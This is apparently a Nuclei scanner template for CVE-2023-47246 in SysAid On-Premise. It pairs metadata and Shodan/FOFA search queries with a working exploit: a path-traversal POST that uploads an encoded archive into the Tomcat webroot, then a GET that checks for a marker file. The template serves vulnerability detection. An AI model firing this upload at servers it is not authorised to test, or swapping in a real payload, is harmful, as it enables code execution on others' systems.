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id : CVE-2023-47246
info :
name : SysAid Server - Remote Code Execution
author : iamnoooob,rootxharsh,pdresearch
severity : critical
description : |
In SysAid On-Premise before 23.3.36, a path traversal vulnerability leads to code execution after an attacker writes a file to the Tomcat webroot, as exploited in the wild in November 2023.
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impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
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reference :
- https://www.huntress.com/blog/critical-vulnerability-sysaid-cve-2023-47246
- https://www.sysaid.com/blog/service-desk/on-premise-software-security-vulnerability-notification
- https://www.rapid7.com/blog/post/2023/11/09/etr-cve-2023-47246-sysaid-zero-day-vulnerability-exploited-by-lace-tempest/
- https://www.cisa.gov/news-events/alerts/2023/11/13/cisa-adds-six-known-exploited-vulnerabilities-catalog
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- https://documentation.sysaid.com/docs/latest-version-installation-files
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-47246
cwe-id : CWE-22
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epss-score : 0.94622
epss-percentile : 0.99239
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cpe : cpe:2.3:a:sysaid:sysaid_on-premises:*:*:*:*:*:*:*:*
metadata :
verified : true
max-request : 2
vendor : sysaid
product : sysaid_on-premises
shodan-query : http.favicon.hash:1540720428
fofa-query : icon_hash="1540720428"
tags : cve,cve2023,sysaid,rce,kev,traversal,intrusive
variables :
directory : "{{rand_base(5)}}"
http :
- raw :
- |
POST /userentry?accountId=/../../../tomcat/webapps/{{directory}}/&symbolName=test&base64UserName=YWRtaW4= HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
{{ hex_decode('789c0bf06666e16200819c8abcf02241510f4e201b84851864189cc35c758d0c8c8c754dcc8d4cccf44a2a4a42433819981fdb05a79e63f34b2dade0666064f9cac8c0c0023201a83a3ec43538842bc09b91498e1997b1126071a026862d8d506d1896b0422c41b320c09b950da2979121024887824d02000d3f1fcb') }}
- |
@timeout : 15
GET /{{directory}}/CVE-2023-47246.txt?{{wait_for(9)}} HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
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- "contains(body_2,'CVE_TEST') && status_code_1==200 && status_code_2==200"
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# digest: 4b0a00483046022100f7f75b62b4a54c4be8322fbe7d82e49e4b01ee263b923a0cc09b328c1854c1790221008d52673966d0c6e8085e732fa7209a3d155068e7debc5fbc2bb389c6bd254c30:922c64590222798bb761d5b6d8e72950